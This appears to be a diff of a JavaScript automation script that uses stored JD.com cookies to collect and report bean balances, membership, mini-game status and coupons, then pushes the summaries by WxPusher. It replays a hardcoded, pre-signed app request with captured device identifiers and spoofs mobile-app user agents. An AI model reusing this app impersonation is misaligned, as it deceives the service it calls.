$.levelName = $.levelName.substring(0, 2); + + if ($.levelName == "注册") + $.levelName = `😊普通`; + + if ($.levelName == "钻石") + $.levelName = `💎钻石`; + + if ($.levelName == "金牌") + $.levelName = `🥇金牌`; + + if ($.levelName == "银牌") + $.levelName = `🥈银牌`; + + if ($.levelName == "铜牌") + $.levelName = `🥉铜牌`; + + if ($.isPlusVip == 1) + ReturnMessage += `${$.levelName}Plus`; + else + ReturnMessage += `${$.levelName}会员`; + } + + if ($.JingXiang){ + if ($.levelName) { + ReturnMessage +=","; + } + ReturnMessage += `${$.JingXiang}`; + } + ReturnMessage +=`\n`; + } + if (llShowMonth) { + ReturnMessageMonth = ReturnMessage; + ReturnMessageMonth += `\n【上月收入】:${$.allincomeBean}京豆 🐶\n`; + ReturnMessageMonth += `【上月支出】:${$.allexpenseBean}京豆 🐶\n`; + + console.log(ReturnMessageMonth); + + if (userIndex2 != -1) { + allMessageMonthGp2 += ReturnMessageMonth + `\n`; + } + if (userIndex3 != -1) { + allMessageMonthGp3 += ReturnMessageMonth + `\n`; + } + if (userIndex4 != -1) { + allMessageMonthGp4 += ReturnMessageMonth + `\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allMessageMonth += ReturnMessageMonth + `\n`; + } + if ($.isNode() && WP_APP_TOKEN_ONE) { + await notify.sendNotifybyWxPucher("京东月资产变动", `${ReturnMessageMonth}`, `${$.UserName}`); + } + + } + + ReturnMessage += `【今日京豆】收${$.todayIncomeBean}豆`; + strsummary+= `【今日京豆】收${$.todayIncomeBean}豆`; + if ($.todayOutcomeBean != 0) { + ReturnMessage += `,支${$.todayOutcomeBean}豆`; + strsummary += `,支${$.todayOutcomeBean}豆`; + } + ReturnMessage += `\n`; + strsummary+= `\n`; + ReturnMessage += `【昨日京豆】收${$.incomeBean}豆`; + + if ($.expenseBean != 0) { + ReturnMessage += `,支${$.expenseBean}豆`; + } + ReturnMessage += `\n`; + + if ($.beanCount){ + ReturnMessage += `【当前京豆】${$.beanCount-$.beanChangeXi}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + strsummary+= `【当前京豆】${$.beanCount-$.beanChangeXi}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + } else { + if($.levelName || $.JingXiang) + ReturnMessage += `【当前京豆】获取失败,接口返回空数据\n`; + else{ + ReturnMessage += `【当前京豆】${$.beanCount-$.beanChangeXi}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + strsummary += `【当前京豆】${$.beanCount-$.beanChangeXi}豆(≈${(($.beanCount-$.beanChangeXi)/ 100).toFixed(2)}元)\n`; + } + } + + if (EnableJxBeans) { + ReturnMessage += `【今日喜豆】收${$.todayinJxBean}豆`; + if ($.todayOutJxBean != 0) { + ReturnMessage += `,支${$.todayOutJxBean}豆`; + } + ReturnMessage += `\n`; + ReturnMessage += `【昨日喜豆】收${$.inJxBean}豆`; + if ($.OutJxBean != 0) { + ReturnMessage += `,支${$.OutJxBean}豆`; + } + ReturnMessage += `\n`; + ReturnMessage += `【当前喜豆】${$.xibeanCount}喜豆(≈${($.xibeanCount/ 100).toFixed(2)}元)\n`; + strsummary += `【当前喜豆】${$.xibeanCount}豆(≈${($.xibeanCount/ 100).toFixed(2)}元)\n`; + } + + + if ($.JDEggcnt) { + ReturnMessage += `【京喜牧场】${$.JDEggcnt}枚鸡蛋\n`; + } + if ($.JDtotalcash) { + ReturnMessage += `【极速金币】${$.JDtotalcash}币(≈${($.JDtotalcash / 10000).toFixed(2)}元)\n`; + } + if ($.JdzzNum) { + ReturnMessage += `【京东赚赚】${$.JdzzNum}币(≈${($.JdzzNum / 10000).toFixed(2)}元)\n`; + } + if ($.JdMsScore != 0) { + ReturnMessage += `【京东秒杀】${$.JdMsScore}币(≈${($.JdMsScore / 1000).toFixed(2)}元)\n`; + } + + if ($.joylevel || $.jdCash || $.JoyRunningAmount) { + ReturnMessage += `【其他信息】`; + if ($.joylevel) { + ReturnMessage += `汪汪:${$.joylevel}级`; + } + if ($.jdCash) { + if ($.joylevel) { + ReturnMessage += ","; + } + ReturnMessage += `领现金:${$.jdCash}元`; + } + if ($.JoyRunningAmount) { + if ($.joylevel || $.jdCash) { + ReturnMessage += ","; + } + ReturnMessage += `汪汪赛跑:${$.JoyRunningAmount}元`; + } + + ReturnMessage += `\n`; + + } + + if ($.JdFarmProdName != "") { + if ($.JdtreeEnergy != 0) { + if ($.treeState === 2 || $.treeState === 3) { + ReturnMessage += `【东东农场】${$.JdFarmProdName} 可以兑换了!\n`; + TempBaipiao += `【东东农场】${$.JdFarmProdName} 可以兑换了!\n`; + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.JdFarmProdName} (东东农场)\n`; + } + } else { + if ($.JdwaterD != 'Infinity' && $.JdwaterD != '-Infinity') { + ReturnMessage += `【东东农场】${$.JdFarmProdName}(${(($.JdtreeEnergy / $.JdtreeTotalEnergy) * 100).toFixed(0)}%,${$.JdwaterD}天)\n`; + } else { + ReturnMessage += `【东东农场】${$.JdFarmProdName}(${(($.JdtreeEnergy / $.JdtreeTotalEnergy) * 100).toFixed(0)}%)\n`; + + } + } + } else { + if ($.treeState === 0) { + TempBaipiao += `【东东农场】水果领取后未重新种植!\n`; + + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】水果领取后未重新种植! (东东农场)\n`; + } + + } else if ($.treeState === 1) { + ReturnMessage += `【东东农场】${$.JdFarmProdName}种植中...\n`; + } else { + TempBaipiao += `【东东农场】状态异常!\n`; + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】状态异常! (东东农场)\n`; + } + //ReturnMessage += `【东东农场】${$.JdFarmProdName}状态异常${$.treeState}...\n`; + } + } + } + if ($.jxFactoryInfo) { + ReturnMessage += `【京喜工厂】${$.jxFactoryInfo}\n` + } + if ($.ddFactoryInfo) { + ReturnMessage += `【东东工厂】${$.ddFactoryInfo}\n` + } + if ($.DdFactoryReceive) { + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.DdFactoryReceive} (东东工厂)\n`; + } + TempBaipiao += `【东东工厂】${$.ddFactoryInfo} 可以兑换了!\n`; + } + if ($.jxFactoryReceive) { + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.jxFactoryReceive} (京喜工厂)\n`; + } + + TempBaipiao += `【京喜工厂】${$.jxFactoryReceive} 可以兑换了!\n`; + + } + + if ($.PigPet) { + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.PigPet} (金融养猪)\n`; + } + + TempBaipiao += `【金融养猪】${$.PigPet} 可以兑换了!\n`; + + } + if(EnableJDPet){ + llPetError=false; + var response =""; + response = await PetRequest('energyCollect'); + if(llPetError) + response = await PetRequest('energyCollect'); + + llPetError=false; + var initPetTownRes = ""; + initPetTownRes = await PetRequest('initPetTown'); + if(llPetError) + initPetTownRes = await PetRequest('initPetTown'); + + if(!llPetError && initPetTownRes){ + if (initPetTownRes.code === '0' && initPetTownRes.resultCode === '0' && initPetTownRes.message === 'success') { + $.petInfo = initPetTownRes.result; + if ($.petInfo.userStatus === 0) { + ReturnMessage += `【东东萌宠】活动未开启!\n`; + } else if ($.petInfo.petStatus === 5) { + ReturnMessage += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}已可领取!\n`; + TempBaipiao += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}已可领取!\n`; + if (userIndex2 != -1) { + ReceiveMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + if (userIndex3 != -1) { + ReceiveMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + if (userIndex4 != -1) { + ReceiveMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allReceiveMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】${$.petInfo.goodsInfo.goodsName}可以兑换了! (东东萌宠)\n`; + } + } else if ($.petInfo.petStatus === 6) { + TempBaipiao += `【东东萌宠】未选择物品! \n`; + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】未选择物品! (东东萌宠)\n`; + } + } else if (response.resultCode === '0') { + ReturnMessage += `【东东萌宠】${$.petInfo.goodsInfo.goodsName}`; + ReturnMessage += `(${(response.result.medalPercent).toFixed(0)}%,${response.result.medalNum}/${response.result.medalNum+response.result.needCollectMedalNum}块)\n`; + } else if (!$.petInfo.goodsInfo) { + ReturnMessage += `【东东萌宠】暂未选购新的商品!\n`; + TempBaipiao += `【东东萌宠】暂未选购新的商品! \n`; + if (userIndex2 != -1) { + WarnMessageGp2 += `【账号${IndexGp2} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + if (userIndex3 != -1) { + WarnMessageGp3 += `【账号${IndexGp3} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + if (userIndex4 != -1) { + WarnMessageGp4 += `【账号${IndexGp4} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allWarnMessage += `【账号${IndexAll} ${$.nickName || $.UserName}】暂未选购新的商品! (东东萌宠)\n`; + } + + } + } + } + } + + if(strGuoqi){ + ReturnMessage += `💸💸💸临期京豆明细💸💸💸\n`; + ReturnMessage += `${strGuoqi}`; + } + ReturnMessage += `🧧🧧🧧红包明细🧧🧧🧧\n`; + ReturnMessage += `${$.message}`; + strsummary +=`${$.message}`; + + if($.YunFeiQuan){ + var strTempYF="【免运费券】"+$.YunFeiQuan+"张"; + if($.YunFeiQuanEndTime) + strTempYF+="(有效期至"+$.YunFeiQuanEndTime+")"; + strTempYF+="\n"; + ReturnMessage +=strTempYF + strsummary +=strTempYF; + } + if($.YunFeiQuan2){ + var strTempYF2="【免运费券】"+$.YunFeiQuan2+"张"; + if($.YunFeiQuanEndTime2) + strTempYF+="(有效期至"+$.YunFeiQuanEndTime2+")"; + strTempYF2+="\n"; + ReturnMessage +=strTempYF2 + strsummary +=strTempYF2; + } + + if (userIndex2 != -1) { + allMessageGp2 += ReturnMessageTitle+ReturnMessage + `\n`; + } + if (userIndex3 != -1) { + allMessageGp3 += ReturnMessageTitle+ReturnMessage + `\n`; + } + if (userIndex4 != -1) { + allMessageGp4 += ReturnMessageTitle+ReturnMessage + `\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + allMessage += ReturnMessageTitle+ReturnMessage + `\n`; + } + + console.log(`${ReturnMessageTitle+ReturnMessage}`); + + if ($.isNode() && WP_APP_TOKEN_ONE) { + var strTitle="京东资产变动"; + ReturnMessage=`【账号名称】${$.nickName || $.UserName}\n`+ReturnMessage; + + if (TempBaipiao) { + strsummary=strSubNotify+TempBaipiao +strsummary; + TempBaipiao = `【⏰商品白嫖活动提醒⏰】\n` + TempBaipiao; + ReturnMessage = TempBaipiao + `\n` + ReturnMessage; + } else { + strsummary = strSubNotify + strsummary; + } + + ReturnMessage += RemainMessage; + + if(strAllNotify) + ReturnMessage=strAllNotify+`\n`+ReturnMessage; + + await notify.sendNotifybyWxPucher(strTitle, `${ReturnMessage}`, `${$.UserName}`,'\n\n本通知 By ccwav Mod',strsummary); + } + + //$.msg($.name, '', ReturnMessage , {"open-url": "https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean"}); +} +async function bean() { + // console.log(`北京时间零点时间戳:${parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000}`); + // console.log(`北京时间2020-10-28 06:16:05::${new Date("2020/10/28 06:16:05+08:00").getTime()}`) + // 不管哪个时区。得到都是当前时刻北京时间的时间戳 new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000 + + //前一天的0:0:0时间戳 + const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); + // 今天0:0:0时间戳 + const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + let page = 1, + t = 0, + yesterdayArr = [], + todayArr = []; + do { + let response = await getJingBeanBalanceDetail(page); + await $.wait(1000); + // console.log(`第${page}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + page++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (new Date(date).getTime() >= tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + todayArr.push(item); + } else if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1 && (!item['eventMassage'].includes("退还") && !item['eventMassage'].includes('扣赠'))) { + //昨日的 + yesterdayArr.push(item); + } else if (tm > new Date(date).getTime()) { + //前天的 + t = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + t = 1; + } + } else if (response && response.code === "3") { + console.log(`cookie已过期,或者填写不规范,跳出`) + t = 1; + } else { + console.log(`未知情况:${JSON.stringify(response)}`); + console.log(`未知情况,跳出`) + t = 1; + } + } while (t === 0); + for (let item of yesterdayArr) { + if (Number(item.amount) > 0) { + $.incomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.expenseBean += Number(item.amount); + } + } + for (let item of todayArr) { + if (Number(item.amount) > 0) { + $.todayIncomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.todayOutcomeBean += Number(item.amount); + } + } + $.todayOutcomeBean = -$.todayOutcomeBean; + $.expenseBean = -$.expenseBean; + + decExBean =0; + if (EnableOverBean) { + await queryexpirejingdou(); //过期京豆 + if (decExBean && doExJxBeans == "true") { + var jxbeans = await exchangejxbeans(decExBean); + if (jxbeans) { + $.beanChangeXi = decExBean; + console.log(`已为您将` + decExBean + `临期京豆转换成喜豆!`); + strGuoqi += `已为您将` + decExBean + `临期京豆转换成喜豆!\n`; + } + } + } + await redPacket(); + if (EnableChaQuan) + await getCoupon(); +} + +async function Monthbean() { + let time = new Date(); + let year = time.getFullYear(); + let month = parseInt(time.getMonth()); //取上个月 + if (month == 0) { + //一月份,取去年12月,所以月份=12,年份减1 + month = 12; + year -= 1; + } + + //开始时间 时间戳 + let start = new Date(year + "-" + month + "-01 00:00:00").getTime(); + console.log(`计算月京豆起始日期:` + GetDateTime(new Date(year + "-" + month + "-01 00:00:00"))); + + //结束时间 时间戳 + if (month == 12) { + //取去年12月,进1个月,所以月份=1,年份加1 + month = 1; + year += 1; + } + let end = new Date(year + "-" + (month + 1) + "-01 00:00:00").getTime(); + console.log(`计算月京豆结束日期:` + GetDateTime(new Date(year + "-" + (month + 1) + "-01 00:00:00"))); + + let allpage = 1, + allt = 0, + allyesterdayArr = []; + do { + let response = await getJingBeanBalanceDetail(allpage); + await $.wait(1000); + // console.log(`第${allpage}页: ${JSON.stringify(response)}`); + if (response && response.code === "0") { + allpage++; + let detailList = response.detailList; + if (detailList && detailList.length > 0) { + for (let item of detailList) { + const date = item.date.replace(/-/g, '/') + "+08:00"; + if (start <= new Date(date).getTime() && new Date(date).getTime() < end) { + //日期区间内的京豆记录 + allyesterdayArr.push(item); + } else if (start > new Date(date).getTime()) { + //前天的 + allt = 1; + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + allt = 1; + } + } else if (response && response.code === "3") { + console.log(`cookie已过期,或者填写不规范,跳出`) + allt = 1; + } else { + console.log(`未知情况:${JSON.stringify(response)}`); + console.log(`未知情况,跳出`) + allt = 1; + } + } while (allt === 0); + + for (let item of allyesterdayArr) { + if (Number(item.amount) > 0) { + $.allincomeBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.allexpenseBean += Number(item.amount); + } + } + +} + +async function jdJxMCinfo(){ + if (EnableJxMC) { + llgeterror = false; + await requestAlgo(); + if (llgeterror) { + console.log(`等待10秒后再次尝试...`) + await $.wait(10 * 1000); + await requestAlgo(); + } + await JxmcGetRequest(); + } + return; +} + +async function jdCash() { + if (!EnableCash) + return; + let functionId = "cash_homePage"; + /* let body = {}; + console.log(`正在获取领现金任务签名...`); + isSignError = false; + let sign = await getSign(functionId, body); + if (isSignError) { + console.log(`领现金任务签名获取失败,等待2秒后再次尝试...`) + await $.wait(2 * 1000); + isSignError = false; + sign =await getSign(functionId, body); + } + if (isSignError) { + console.log(`领现金任务签名获取失败,等待2秒后再次尝试...`) + await $.wait(2 * 1000); + isSignError = false; + sign = await getSign(functionId, body); + } + if (!isSignError) { + console.log(`领现金任务签名获取成功...`) + } else { + console.log(`领现金任务签名获取失败...`) + $.jdCash = 0; + return + } */ + let sign = `body=%7B%7D&build=167968&client=apple&clientVersion=10.4.0&d_brand=apple&d_model=iPhone13%2C3&ef=1&eid=eidI25488122a6s9Uqq6qodtQx6rgQhFlHkaE1KqvCRbzRnPZgP/93P%2BzfeY8nyrCw1FMzlQ1pE4X9JdmFEYKWdd1VxutadX0iJ6xedL%2BVBrSHCeDGV1&ep=%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22screen%22%3A%22CJO3CMeyDJCy%22%2C%22osVersion%22%3A%22CJUkDK%3D%3D%22%2C%22openudid%22%3A%22CJSmCWU0DNYnYtS0DtGmCJY0YJcmDwCmYJC0DNHwZNc5ZQU2DJc3Zq%3D%3D%22%2C%22area%22%3A%22CJZpCJCmC180ENcnCv80ENc1EK%3D%3D%22%2C%22uuid%22%3A%22aQf1ZRdxb2r4ovZ1EJZhcxYlVNZSZz09%22%7D%2C%22ts%22%3A1648428189%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D&ext=%7B%22prstate%22%3A%220%22%2C%22pvcStu%22%3A%221%22%7D&isBackground=N&joycious=104&lang=zh_CN&networkType=3g&networklibtype=JDNetworkBaseAF&partner=apple&rfs=0000&scope=11&sign=98c0ea91318ef1313786d86d832f1d4d&st=1648428208392&sv=101&uemps=0-0&uts=0f31TVRjBSv7E8yLFU2g86XnPdLdKKyuazYDek9RnAdkKCbH50GbhlCSab3I2jwM04d75h5qDPiLMTl0I3dvlb3OFGnqX9NrfHUwDOpTEaxACTwWl6n//EOFSpqtKDhg%2BvlR1wAh0RSZ3J87iAf36Ce6nonmQvQAva7GoJM9Nbtdah0dgzXboUL2m5YqrJ1hWoxhCecLcrUWWbHTyAY3Rw%3D%3D` + return new Promise((resolve) => { + $.post(apptaskUrl(functionId, sign), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`jdCash API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data.result) { + $.jdCash = data.data.result.totalMoney || 0; + return + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} +function apptaskUrl(functionId = "", body = "") { + return { + url: `${JD_API_HOST}?functionId=${functionId}`, + body, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': '', + 'User-Agent': 'JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + timeout: 10000 + } +} +function getSign(functionId, body) { + return new Promise(async resolve => { + let data = { + functionId, + body: JSON.stringify(body), + "client":"apple", + "clientVersion":"10.3.0" + } + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + let Host = HostArr[Math.floor((Math.random() * HostArr.length))] + let options = { + url: `https://cdn.nz.lu/ddo`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 30 * 1000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} getSign API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Cookie: cookie, + "User-Agent": "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000 + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + $.levelName = data.data.userInfo.baseInfo.levelName; + $.isPlusVip = data.data.userInfo.isPlusVip; + + } + if (data['retcode'] === '0' && data.data && data.data['assetInfo']) { + if ($.beanCount == 0) + $.beanCount = data.data && data.data['assetInfo']['beanNum']; + } else { + $.errorMsg = `数据异常`; + } + } else { + $.log('京东服务器返回空数据,将无法获取等级及VIP信息'); + } + } + } catch (e) { + $.logErr(e) + } + finally { + resolve(); + } + }) + }) +} +function TotalBean2() { + return new Promise(async(resolve) => { + const options = { + url: `https://wxapp.m.jd.com/kwxhome/myJd/home.json?&useGuideModule=0&bizId=&brandId=&fromType=wxapp×tamp=${Date.now()}`, + headers: { + Cookie: cookie, + 'content-type': `application/x-www-form-urlencoded`, + Connection: `keep-alive`, + 'Accept-Encoding': `gzip,compress,br,deflate`, + Referer: `https://servicewechat.com/wxa5bf5ee667d91626/161/page-frame.html`, + Host: `wxapp.m.jd.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.10(0x18000a2a) NetType/WIFI Language/zh_CN`, + }, + timeout: 10000 + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (!data.user) { + return; + } + const userInfo = data.user; + if (userInfo) { + if (!$.nickName) + $.nickName = userInfo.petName; + if ($.beanCount == 0) { + $.beanCount = userInfo.jingBean; + } + $.JingXiang = userInfo.uclass; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e); + } + finally { + resolve(); + } + }); + }); +} + +function isLoginByX1a0He() { + return new Promise((resolve) => { + const options = { + url: 'https://plogin.m.jd.com/cgi-bin/ml/islogin', + headers: { + "Cookie": cookie, + "referer": "https://h5.m.jd.com/", + "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000 + } + $.get(options, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.islogin === "1") { + console.log(`使用X1a0He写的接口加强检测: Cookie有效\n`) + } else if (data.islogin === "0") { + $.isLogin = false; + console.log(`使用X1a0He写的接口加强检测: Cookie无效\n`) + } else { + console.log(`使用X1a0He写的接口加强检测: 未知返回,不作变更...\n`) + $.error = `${$.nickName} :` + `使用X1a0He写的接口加强检测: 未知返回...\n` + } + } + } catch (e) { + console.log(e); + } + finally { + resolve(); + } + }); + }); +} + +function getJingBeanBalanceDetail(page) { + return new Promise(async resolve => { + const options = { + "url": `https://api.m.jd.com/client.action?functionId=getJingBeanBalanceDetail`, + "body": `body=${escape(JSON.stringify({"pageSize": "20", "page": page.toString()}))}&appid=ld`, + "headers": { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`getJingBeanBalanceDetail API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + // console.log(data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} +function queryexpirejingdou() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/activep3/singjd/queryexpirejingdou?_=${Date.now()}&g_login_type=1&sceneval=2`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "wq.jd.com", + "Referer": "https://wqs.jd.com/promote/201801/bean/mybean.html", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryexpirejingdou API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) 